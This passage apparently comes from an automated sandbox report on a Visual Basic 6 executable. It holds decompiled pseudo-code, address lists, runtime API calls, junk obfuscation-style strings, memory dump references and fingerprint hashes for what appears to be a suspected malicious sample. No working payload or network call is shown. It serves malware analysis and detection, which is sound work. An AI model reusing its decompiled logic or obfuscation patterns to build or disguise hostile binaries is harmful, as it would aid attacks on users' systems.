					_t878 =  *((intOrPtr*)( *_v324 + 0x188))(_v324,  &_v144, _t874,  *((intOrPtr*)( *((intOrPtr*)( *_v580)) + 0x30c))( *_v580));
					asm("fclex");
					_v328 = _t878;
					if(_v328 >= 0) {
						_v584 = _v584 & 0x00000000;
					} else {
						_push(0x188);
						_push(0x404b5c);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v584 = _t878;
					}
					if( *0x414010 != 0) {
						_v588 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v588 = 0x414010;
					}
					_t882 =  &_v164;
					L00401440();
					_v332 = _t882;
					_t886 =  *((intOrPtr*)( *_v332 + 0x1c8))(_v332,  &_v276, _t882,  *((intOrPtr*)( *((intOrPtr*)( *_v588)) + 0x30c))( *_v588));
					asm("fclex");
					_v336 = _t886;
					if(_v336 >= 0) {
						_v592 = _v592 & 0x00000000;
					} else {
						_push(0x1c8);
						_push(0x404b5c);
						_push(_v332);
						_push(_v336);
						L00401434();
						_v592 = _t886;
					}
					if( *0x414010 != 0) {
						_v596 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v596 = 0x414010;
					}
					_t890 =  &_v168;
					L00401440();
					_v340 = _t890;
					_t894 =  *((intOrPtr*)( *_v340 + 0x218))(_v340,  &_v148, _t890,  *((intOrPtr*)( *((intOrPtr*)( *_v596)) + 0x30c))( *_v596));
					asm("fclex");
					_v344 = _t894;
					if(_v344 >= 0) {
						_v600 = _v600 & 0x00000000;
					} else {
						_push(0x218);
						_push(0x404b5c);
						_push(_v340);
						_push(_v344);
						L00401434();
						_v600 = _t894;
					}
					_v408 = _v148;
					_v148 = _v148 & 0x00000000;
					L004013C2();
					_v412 = _v144;
					_v144 = _v144 & 0x00000000;
					_t1027 = _v412;
					L004013C2();
					_v304 = 0x1c3a7570;
					_v300 = 0x5b04;
					_t903 =  *((intOrPtr*)( *_a4 + 0x710))(_a4,  &_v304, L"DEPRECATINGLY",  &_v152, _v276,  &_v156,  &_v312);
					_v348 = _t903;
					if(_v348 >= 0) {
						_v604 = _v604 & 0x00000000;
					} else {
						_push(0x710);
						_push(0x4047f0);
						_push(_a4);
						_push(_v348);
						L00401434();
						_v604 = _t903;
					}
					_v64 = _v312;
					L004013D4();
					L004013F2();
					_t1049 = _t1050 + 0x1c;
					 *((intOrPtr*)( *_a4 + 0x738))(_a4,  &_v280, 3,  &_v160,  &_v164,  &_v168, 2,  &_v152,  &_v156);
					_v80 = _v280;
					_push( &_v380);
					_push( &_v364);
					_t785 =  &_v56;
					_push(_t785);
					L004013BC();
					_v396 = _t785;
				}
				_v232 = 0xaa47e;
				_t1031 =  >=  ? 0x40e8b4 : _t1027;
				_push( >=  ? 0x40e8b4 : _t1027);
				return _t785;
			}

0x0040f8f4
0x0040f8f7
0x0040f906
0x0040f912
0x0040f91a
0x0040f91d
0x0040f92a
0x0040f932
0x0040f93d
0x0040f947
0x0040f964
0x0040f949
0x0040f949
0x0040f94e
0x0040f953
0x0040f958
0x0040f958
0x0040f988
0x0040f98f
0x0040f994
0x0040f9a8
0x0040f9ae
0x0040f9b0
0x0040f9bd
0x0040f9e2
0x0040f9bf
0x0040f9bf
0x0040f9c4
0x0040f9c9
0x0040f9cf
0x0040f9d5
0x0040f9da
0x0040f9da
0x0040f9ef
0x0040f9f4
0x0040f9fe
0x0040fa0e
0x0040fa14
0x0040fa19
0x0040fa21
0x0040fa28
0x0040fa29
0x0040fa2e
0x0040fa38
0x0040fa48
0x0040fa49
0x0040fa4f
0x0040fa50
0x0040fa55
0x0040fa62
0x0040fa69
0x0040fa6a
0x0040fa6c
0x0040fa71
0x0040fa7d
0x0040fa8a
0x0040faa7
0x0040fa8c
0x0040fa8c
0x0040fa91
0x0040fa96
0x0040fa9b
0x0040fa9b
0x0040facb
0x0040fad2
0x0040fad7
0x0040faf2
0x0040faf8
0x0040fafa
0x0040fb07
0x0040fb2c
0x0040fb09
0x0040fb09
0x0040fb0e
0x0040fb13
0x0040fb19
0x0040fb1f
0x0040fb24
0x0040fb24
0x0040fb3a
0x0040fb57
0x0040fb3c
0x0040fb3c
0x0040fb41
0x0040fb46
0x0040fb4b
0x0040fb4b
0x0040fb61
0x0040fb69
0x0040fb75
0x0040fb7b
0x0040fb88
0x0040fb8e
0x0040fb98
0x0040fba2
0x0040fbb6
0x0040fbc3
0x0040fbc4
0x0040fbc5
0x0040fbc6
0x0040fbca
0x0040fbd7
0x0040fbd8
0x0040fbd9
0x0040fbda
0x0040fbe9
0x0040fbec
0x0040fbee
0x0040fbf4
0x0040fbfb
0x0040fc1d
0x0040fbfd
0x0040fbfd
0x0040fbff
0x0040fc04
0x0040fc0a
0x0040fc10
0x0040fc15
0x0040fc15
0x0040fc2a
0x0040fc31
0x0040fc32
0x0040fc3d
0x0040fc41
0x0040fc42
0x0040fc47
0x0040fc4d
0x0040fc58
0x0040fc5f
0x0040fc60
0x0040fc62
0x0040fc67
0x0040fc67
0x0040fc6a
0x0040fc6c
0x0040fc6d
0x0040fc6e
0x0040fc71
0x0040fc76
0x0040fc7b
0x0040fc81
0x0040fc83
0x0040fc84
0x0040fc91
0x0040fcae
0x0040fc93
0x0040fc93
0x0040fc98
0x0040fc9d
0x0040fca2
0x0040fca2
0x0040fcb8
0x0040fcc0
0x0040fcdb
0x0040fcde
0x0040fce0
0x0040fced
0x0040fd0f
0x0040fcef
0x0040fcef
0x0040fcf1
0x0040fcf6
0x0040fcfc
0x0040fd02
0x0040fd07
0x0040fd07
0x0040fd1c
0x0040fd22
0x0040fd29
0x0040fd35
0x0040fd36
0x0040fd43
0x0040fd44
0x0040fd45
0x0040fd46
0x0040fd4f
0x0040fd55
0x0040fd5c
0x0040fd70
0x0040fd73
0x0040fd75
0x0040fd82
0x0040fda4
0x0040fd84
0x0040fd84
0x0040fd86
0x0040fd8b
0x0040fd91
0x0040fd97
0x0040fd9c
0x0040fd9c
0x0040fdb1
0x0040fdb8
0x0040fdb9
0x0040fdbb
0x0040fdc0
0x0040fdc0
0x0040fdca
0x0040fde7
0x0040fdcc
0x0040fdcc
0x0040fdd1
0x0040fdd6
0x0040fddb
0x0040fddb
0x0040fe0b
0x0040fe12
0x0040fe17
0x0040fe32
0x0040fe38
0x0040fe3a
0x0040fe47
0x0040fe6c
0x0040fe49
0x0040fe49
0x0040fe4e
0x0040fe53
0x0040fe59
0x0040fe5f
0x0040fe64
0x0040fe64
0x0040fe7a
0x0040fe97
0x0040fe7c
0x0040fe7c
0x0040fe81
0x0040fe86
0x0040fe8b
0x0040fe8b
0x0040febb
0x0040fec2
0x0040fec7
0x0040fee2
0x0040fee8
0x0040feea
0x0040fef7
0x0040ff1c
0x0040fef9
0x0040fef9
0x0040fefe
0x0040ff03
0x0040ff09
0x0040ff0f
0x0040ff14
0x0040ff14
0x0040ff2d
0x0040ff34
0x0040ff3d
0x0040ff42
0x0040ff4e
0x0040ff54
0x0040ff5d
0x0040ff67
0x0040ff9f
0x0040ffbc
0x0040ffc1
0x0040ffca
0x0040ffcf
0x0040ffd9
0x0040fffc
0x0041000e
0x00410014
0x00410021
0x00410043
0x00410023
0x00410023
0x00410028
0x0041002d
0x00410030
0x00410036
0x0041003b
0x0041003b
0x00410050
0x0041005d
0x0041007a
0x0041005f
0x0041005f
0x00410064
0x00410069
0x0041006e
0x0041006e
0x00410094
0x0041009e
0x004100a5
0x004100aa
0x004100c5
0x004100cb
0x004100cd
0x004100da
0x004100ff
0x004100dc
0x004100dc
0x004100e1
0x004100e6
0x004100ec
0x004100f2
0x004100f7
0x004100f7
0x00410117
0x0041011c
0x0041011f
0x00410126
0x0041012b
0x00410140
0x00410152
0x00410158
0x00410165
0x00410187
0x00410167
0x00410167
0x0041016c
0x00410171
0x00410174
0x0041017a
0x0041017f
0x0041017f
0x00410195
0x0041019f
0x004101a6
0x004101a7
0x004101a9
0x004101ae
0x004101b7
0x004101c3
0x004101e0
0x004101c5
0x004101c5
0x004101ca
0x004101cf
0x004101d4
0x004101d4
0x00410204
0x0041020b
0x00410210
0x0041022b
0x00410231
0x00410233
0x00410240
0x00410265
0x00410242
0x00410242
0x00410247
0x0041024c
0x00410252
0x00410258
0x0041025d
0x0041025d
0x00410272
0x00410278
0x00410283
0x004102a9
0x004102af
0x004102bc
0x004102de
0x004102be
0x004102be
0x004102c3
0x004102c8
0x004102cb
0x004102d1
0x004102d6
0x004102d6
0x004102f5
0x004102fa
0x00410303
0x00410310
0x0041031d
0x0041033a
0x0041031f
0x0041031f
0x00410324
0x00410329
0x0041032e
0x0041032e
0x00410354
0x0041035e
0x00410365
0x0041036a
0x00410385
0x00410388
0x0041038a
0x00410397
0x004103b9
0x00410399
0x00410399
0x0041039b
0x004103a0
0x004103a6
0x004103ac
0x004103b1
0x004103b1
0x004103c8
0x004103e3
0x004103ef
0x004103fa
0x004103ff
0x0041040e
0x00410438
0x00410443
0x00410450
0x0041046d
0x00410452
0x00410452
0x00410457
0x0041045c
0x00410461
0x00410461
0x00410491
0x00410498
0x0041049d
0x004104b8
0x004104be
0x004104c0
0x004104cd
0x004104f2
0x004104cf
0x004104cf
0x004104d4
0x004104d9
0x004104df
0x004104e5
0x004104ea
0x004104ea
0x004104ff
0x00410505
0x0041050f
0x0041053c
0x00410548
0x00410551
0x0041055a
0x0041055f
0x00410569
0x00410573
0x0041057d
0x00410587
0x0041058e
0x0041059e
0x004105a5
0x004105ac
0x004105b3
0x004105ba
0x004105bb
0x004105be
0x004105bf
0x004105c4
0x00410fdb
0x004105d6
0x004105f3
0x004105d8
0x004105d8
0x004105dd
0x004105e2
0x004105e7
0x004105e7
0x00410617
0x0041061e
0x00410623
0x0041063e
0x00410644
0x00410646
0x00410653
0x00410678
0x00410655
0x00410655
0x0041065a
0x0041065f
0x00410665
0x0041066b
0x00410670
0x00410670
0x0041067f
0x0041068f
0x00410695
0x004106a8
0x004106cf
0x004106dc
0x004106e6
0x004106f1
0x004106fd
0x0041071a
0x004106ff
0x004106ff
0x00410704
0x00410709
0x0041070e
0x0041070e
0x0041073e
0x00410745
0x0041074a
0x00410765
0x0041076b
0x0041076d
0x0041077a
0x0041079f
0x0041077c
0x0041077c
0x00410781
0x00410786
0x0041078c
0x00410792
0x00410797
0x00410797
0x004107ad
0x004107ca
0x004107af
0x004107af
0x004107b4
0x004107b9
0x004107be
0x004107be
0x004107ee
0x004107f5
0x004107fa
0x00410815
0x00410818
0x0041081a
0x00410827
0x00410849
0x00410829
0x00410829
0x0041082b
0x00410830
0x00410836
0x0041083c
0x00410841
0x00410841
0x00410857
0x00410874
0x00410859
0x00410859
0x0041085e
0x00410863
0x00410868
0x00410868
0x00410898
0x0041089f
0x004108a4
0x004108bf
0x004108c5
0x004108c7
0x004108d4
0x004108f9
0x004108d6
0x004108d6
0x004108db
0x004108e0
0x004108e6
0x004108ec
0x004108f1
0x004108f1
0x00410906
0x0041090c
0x0041091c
0x00410922
0x00410935
0x0041093a
0x0041096b
0x0041097d
0x00410983
0x00410990
0x004109b2
0x00410992
0x00410992
0x00410997
0x0041099c
0x0041099f
0x004109a5
0x004109aa
0x004109aa
0x004109bf
0x004109c8
0x004109e4
0x004109e9
0x004109ec
0x004109f5
0x004109ff
0x00410a1f
0x00410a25
0x00410a32
0x00410a54
0x00410a34
0x00410a34
0x00410a39
0x00410a3e
0x00410a41
0x00410a47
0x00410a4c
0x00410a4c
0x00410a63
0x00410a69
0x00410a76
0x00410a98
0x00410a78
0x00410a78
0x00410a7d
0x00410a82
0x00410a85
0x00410a8b
0x00410a90
0x00410a90
0x00410aa6
0x00410ac3
0x00410aa8
0x00410aa8
0x00410aad
0x00410ab2
0x00410ab7
0x00410ab7
0x00410ae7
0x00410aee
0x00410af3
0x00410b0e
0x00410b11
0x00410b13
0x00410b20
0x00410b42
0x00410b22
0x00410b22
0x00410b24
0x00410b29
0x00410b2f
0x00410b35
0x00410b3a
0x00410b3a
0x00410b4f
0x00410b7d
0x00410b89
0x00410b95
0x00410bb2
0x00410b97
0x00410b97
0x00410b9c
0x00410ba1
0x00410ba6
0x00410ba6
0x00410bd6
0x00410bdd
0x00410be2
0x00410bfd
0x00410c03
0x00410c05
0x00410c12
0x00410c37
0x00410c14
0x00410c14
0x00410c19
0x00410c1e
0x00410c24
0x00410c2a
0x00410c2f
0x00410c2f
0x00410c6c
0x00410c78
0x00410c84
0x00410c90
0x00410cad
0x00410c92
0x00410c92
0x00410c97
0x00410c9c
0x00410ca1
0x00410ca1
0x00410cd1
0x00410cd8
0x00410cdd
0x00410cf8
0x00410cfe
0x00410d00
0x00410d0d
0x00410d32
0x00410d0f
0x00410d0f
0x00410d14
0x00410d19
0x00410d1f
0x00410d25
0x00410d2a
0x00410d2a
0x00410d40
0x00410d5d
0x00410d42
0x00410d42
0x00410d47
0x00410d4c
0x00410d51
0x00410d51
0x00410d81
0x00410d88
0x00410d8d
0x00410da8
0x00410dae
0x00410db0
0x00410dbd
0x00410de2
0x00410dbf
0x00410dbf
0x00410dc4
0x00410dc9
0x00410dcf
0x00410dd5
0x00410dda
0x00410dda
0x00410df0
0x00410e0d
0x00410df2
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e01
0x00410e31
0x00410e38
0x00410e3d
0x00410e58
0x00410e5e
0x00410e60
0x00410e6d
0x00410e92
0x00410e6f
0x00410e6f
0x00410e74
0x00410e79
0x00410e7f
0x00410e85
0x00410e8a
0x00410e8a
0x00410e9f
0x00410ea5
0x00410eb8
0x00410ec3
0x00410ec9
0x00410ed0
0x00410edc
0x00410ee1
0x00410eeb
0x00410f24
0x00410f2a
0x00410f37
0x00410f59
0x00410f39
0x00410f39
0x00410f3e
0x00410f43
0x00410f46
0x00410f4c
0x00410f51
0x00410f51
0x00410f66
0x00410f79
0x00410f98
0x00410f9d
0x00410faf
0x00410fbb
0x00410fc4
0x00410fcb
0x00410fcc
0x00410fcf
0x00410fd0
0x00410fd5
0x00410fd5
0x00410fe8
0x00410ffa
0x00410ffd
0x00410ffe

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 0040F912
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 0040F953
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F98F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,0000020C), ref: 0040F9D5
__vbaFreeObj.MSVBVM60(00000000,?,00404B5C,0000020C), ref: 0040F9EF
__vbaVarDup.MSVBVM60(00000000,?,00404B5C,0000020C), ref: 0040FA14
#513.MSVBVM60(?,?,00000002), ref: 0040FA29
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,00000002), ref: 0040FA50
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,00000002), ref: 0040FA6C
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,004012C6), ref: 0040FA96
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FAD2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B80,00000110), ref: 0040FB1F
__vbaNew2.MSVBVM60(00404BA0,00414650), ref: 0040FB46
__vbaChkstk.MSVBVM60(?), ref: 0040FBB6
__vbaChkstk.MSVBVM60(?), ref: 0040FBCA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,00000038), ref: 0040FC10
__vbaVar2Vec.MSVBVM60(?,?), ref: 0040FC32
__vbaAryMove.MSVBVM60(?,?,?,?), ref: 0040FC42
__vbaFreeObj.MSVBVM60(?,?,?,?), ref: 0040FC4D
__vbaFreeVarList.MSVBVM60(00000002,00000008,?,?,?,?,?), ref: 0040FC62
#583.MSVBVM60(?,?,?,?,004012C6), ref: 0040FC71
__vbaFpR8.MSVBVM60(?,?,?,?,004012C6), ref: 0040FC76
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,?,?,004012C6), ref: 0040FC9D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,0000001C), ref: 0040FD02
__vbaChkstk.MSVBVM60(00000000,?,00404B90,0000001C), ref: 0040FD36
__vbaCastObj.MSVBVM60(?,00404BB0), ref: 0040FD4F
__vbaObjSet.MSVBVM60(?,00000000,?,00404BB0), ref: 0040FD5C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BC0,00000058), ref: 0040FD97
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040FDBB
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 0040FDD6
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE12
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,00000160), ref: 0040FE5F
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 0040FE86
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FEC2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000130), ref: 0040FF0F
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040FF34
__vbaI4Var.MSVBVM60(00000000,?,?,?,?,?,?,004012C6), ref: 0040FF3D
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040FFBC
__vbaFreeVar.MSVBVM60(?,?,?,00000000,?,?,?,?,?,?,004012C6), ref: 0040FFCA
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,000006F8,?,?,?,?,?,?,?,?,FB5BD118,tirelingfantasiernesa,?), ref: 00410036
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410069
__vbaObjSet.MSVBVM60(?,00000000), ref: 004100A5
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00404BD0,00000110), ref: 004100F2
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00410117
__vbaI4Var.MSVBVM60(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,?,004012C6), ref: 00410126
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,000006FC), ref: 0041017A
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004101A9
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004101B7
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004101CF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041020B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B80,00000170), ref: 00410258
__vbaStrCopy.MSVBVM60(00000000,?,00404B80,00000170), ref: 00410283
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,00000700), ref: 004102D1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004102F5
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410303
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410329
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410365
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BE0,00000048), ref: 004103AC
__vbaFreeStr.MSVBVM60(?,?,00000000,?,00404BE0,00000048), ref: 004103EF
__vbaFreeObj.MSVBVM60(?,?,00000000,?,00404BE0,00000048), ref: 004103FA
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041045C
__vbaObjSet.MSVBVM60(?,00000000,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410498
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B80,000000F8,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004104E5
__vbaFreeObj.MSVBVM60(?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041055A
__vbaVarForInit.MSVBVM60(?,?,?,00000002,00000003,00000002,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004105BF
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,00000002,00000003,00000002,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004105E2
__vbaObjSet.MSVBVM60(?,00000000,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041061E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,000001C0,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041066B
__vbaStrMove.MSVBVM60(?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004106A8
__vbaFreeStr.MSVBVM60(?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004106E6
__vbaFreeObj.MSVBVM60(?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004106F1
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410709
__vbaObjSet.MSVBVM60(?,00000000,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410745
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000088,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410792
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004107B9
__vbaObjSet.MSVBVM60(?,00000000,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004107F5
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000048,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041083C
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410863
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 0041089F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000080,?,?,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004108EC
__vbaStrMove.MSVBVM60(?,?,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 00410935
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,00000704,?,?,Rentetabets8,00239160,?,?,?,?,?,?,F47BC740,00005AF5), ref: 004109A5
__vbaFreeStr.MSVBVM60(?,?,Rentetabets8,00239160,?,?,?,?,?,?,F47BC740,00005AF5,00002170,Deiform), ref: 004109C8
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,?,Rentetabets8,00239160,?,?,?,?,?,?,F47BC740,00005AF5), ref: 004109E4
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,00000708), ref: 00410A47
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,0000070C), ref: 00410A8B
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410AB2
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410AEE
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00404B80,00000070), ref: 00410B35
__vbaFreeObj.MSVBVM60 ref: 00410B89
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410BA1
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410BDD
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00404B5C,00000198), ref: 00410C2A
__vbaFreeObj.MSVBVM60 ref: 00410C84
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410C9C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410CD8
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00404B5C,00000188), ref: 00410D25
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410D4C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410D88
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,000001C8), ref: 00410DD5
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00410DFC
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410E38
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000218), ref: 00410E85
__vbaStrMove.MSVBVM60(00000000,?,00404B5C,00000218), ref: 00410EB8
__vbaStrMove.MSVBVM60(00000000,?,00404B5C,00000218), ref: 00410EDC
__vbaHresultCheckObj.MSVBVM60(00000000,00401190,004047F0,00000710), ref: 00410F4C
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00410F79
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410F98
__vbaVarForNext.MSVBVM60(?,?,?), ref: 00410FD0

Strings

DEPRECATINGLY, xrefs: 00410F10
Deiform, xrefs: 00410414
PFA, xrefs: 0040FCB8
tirelingfantasiernesa, xrefs: 0040FFE9, 00410278
PFA, xrefs: 0040FB61
p!, xrefs: 004103FF
Rentetabets8, xrefs: 00410958
homoeopathist, xrefs: 00410B5C

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$Free$New2$List$Move$Chkstk$CallLate$#513#583CastCopyInitNextVar2
String ID: DEPRECATINGLY$Deiform$PFA$PFA$Rentetabets8$homoeopathist$p!$tirelingfantasiernesa
API String ID: 3375748698-3992800398
Opcode ID: ff70d28369363b9d2df54bc17bf255fbfdefc6f74b18c0f7db1f984000c130ee
Instruction ID: 3f62b69bff9f28f64e7c6d002af89ad57476f38cdd5fc8d42edfc5061dee8f27
Opcode Fuzzy Hash: ff70d28369363b9d2df54bc17bf255fbfdefc6f74b18c0f7db1f984000c130ee
Instruction Fuzzy Hash: 6AD2D4B19002289FDB21DF51CC49BD9BBB8BF48304F1040EAE64DA72A1DB799AC5DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411D66, Relevance: 63.3, APIs: 32, Strings: 4, Instructions: 338
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00411D66(void* __ebx, void* __edi, void* __esi, signed int __fp0, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v72;
				intOrPtr _v80;
				char _v84;
				intOrPtr _v88;
				intOrPtr* _v92;
				signed int _v96;
				void* _v100;
				signed int _v104;
				intOrPtr* _v108;
				signed int _v112;
				short _v116;
				signed int _v128;
				intOrPtr* _v132;
				signed int _v136;
				intOrPtr* _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				char _v156;
				signed int _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				char* _t163;
				signed int _t167;
				signed int* _t171;
				signed int _t175;
				char* _t179;
				signed int _t183;
				char* _t184;
				char* _t185;
				signed int* _t196;
				signed int _t202;
				void* _t204;
				signed int* _t205;
				signed int _t208;
				signed int _t215;
				signed int _t221;
				char* _t232;
				void* _t241;
				void* _t243;
				intOrPtr _t244;
				signed int _t259;
				signed int _t263;

				_t263 = __fp0;
				_t244 = _t243 - 0xc;
				 *[fs:0x0] = _t244;
				L004012C0();
				_v16 = _t244;
				_v12 = 0x4011c8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012c6, _t241);
				if( *0x414010 != 0) {
					_v132 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v132 = 0x414010;
				}
				_t163 =  &_v56;
				L00401440();
				_v92 = _t163;
				_t167 =  *((intOrPtr*)( *_v92 + 0xa8))(_v92,  &_v40, _t163,  *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x308))( *_v132));
				asm("fclex");
				_v96 = _t167;
				if(_v96 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0xa8);
					_push(0x404b5c);
					_push(_v92);
					_push(_v96);
					L00401434();
					_v136 = _t167;
				}
				if( *0x414010 != 0) {
					_v140 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v140 = 0x414010;
				}
				_t171 =  &_v60;
				L00401440();
				_v100 = _t171;
				_t175 =  *((intOrPtr*)( *_v100 + 0x48))(_v100,  &_v44, _t171,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x300))( *_v140));
				asm("fclex");
				_v104 = _t175;
				if(_v104 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x404b80);
					_push(_v100);
					_push(_v104);
					L00401434();
					_v144 = _t175;
				}
				if( *0x414010 != 0) {
					_v148 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v148 = 0x414010;
				}
				_t232 =  *((intOrPtr*)( *_v148));
				_t179 =  &_v64;
				L00401440();
				_v108 = _t179;
				_t183 =  *((intOrPtr*)( *_v108 + 0x198))(_v108,  &_v84, _t179,  *((intOrPtr*)(_t232 + 0x30c))( *_v148));
				asm("fclex");
				_v112 = _t183;
				if(_v112 >= 0) {
					_v152 = _v152 & 0x00000000;
				} else {
					_push(0x198);
					_push(0x404b5c);
					_push(_v108);
					_push(_v112);
					L00401434();
					_v152 = _t183;
				}
				_push(0x31b5df);
				_push(_v84);
				_push(_v44);
				_t184 =  &_v52;
				_push(_t184);
				L004013A4();
				_push(_t184);
				_push(_v40);
				_t185 =  &_v48;
				_push(_t185);
				L004013A4();
				_push(_t185);
				_push(0x67954); // executed
				E00404AC0(); // executed
				_v88 = _t185;
				L004013AA();
				_v116 =  ~(0 | _v88 == 0x0083ed9e);
				_push( &_v52);
				_push( &_v44);
				_push( &_v48);
				_push( &_v40);
				_push(4);
				L004013D4();
				_push( &_v64);
				_push( &_v60);
